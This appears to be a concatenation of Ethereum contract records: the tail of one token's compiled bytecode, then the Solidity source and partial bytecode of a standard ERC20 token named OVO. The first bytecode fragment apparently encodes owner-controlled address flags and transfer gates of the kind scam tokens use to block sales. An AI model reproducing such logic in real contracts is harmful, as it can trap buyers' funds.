ffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9b33848381518110610e7a57fe5b6020026020010151848481518110610e8e57fe5b6020026020010151612e4f565b83811015610f6e576001600080858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fe565b5b8080600101915050610e61565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111695780601f1061113e57610100808354040283529160200191611169565b820191906000526020600020905b81548152906001019060200180831161114c57829003601f168201915b5050505050905090565b60006111876111806113f6565b84846115f5565b6001905092915050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f257600160008084848151811061132157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061138c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611307565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611484576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806131d26024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061313d6022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c45750600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119cf5781600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b611821868686613114565b61188d8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061192284600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cff565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a785750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ad05750600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2f57600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5d57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6a57806002819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611bf0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b611c81868686613114565b611ced8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d8284600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfe565b600115156000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214c57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b611f9e868686613114565b61200a8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061209f84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfd565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561256857600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061224e5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6122a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061315f6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612329576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b6123ba868686613114565b6124268460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124bb84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfc565b60025481101561293c57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126775760018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b61278e868686613114565b6127fa8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061288f84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfb565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129e55750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061315f6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612ac0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b612b51868686613114565b612bbd8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c5284600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612db4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d79578082015181840152602081019050612d5e565b50505050905090810190601f168015612da65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ed5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612f5b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b612f66838383613114565b612fd28160405180606001604052806026815260200161315f60269139600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122029f53333014b4b3c05ba29d6d864b016ff432fe20ad20baad90932e0055a111b64736f6c63430006060033
{"success": true, "error": null, "results": {}}
7,452
0x3e1472a58fc4581f87e3d9746659089a8f1f4405
pragma solidity ^0.4.21; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract OriginalVirtualOperation is StandardToken, Ownable { // Constants string public constant name = "Original Virtual Operation"; string public constant symbol = "OVO"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 3000000000 * (10 ** uint256(decimals)); mapping(address => bool) touched; function OriginalVirtualOperation() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280601a81526020017f4f726967696e616c205669727475616c204f7065726174696f6e00000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a63b2d05e000281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffff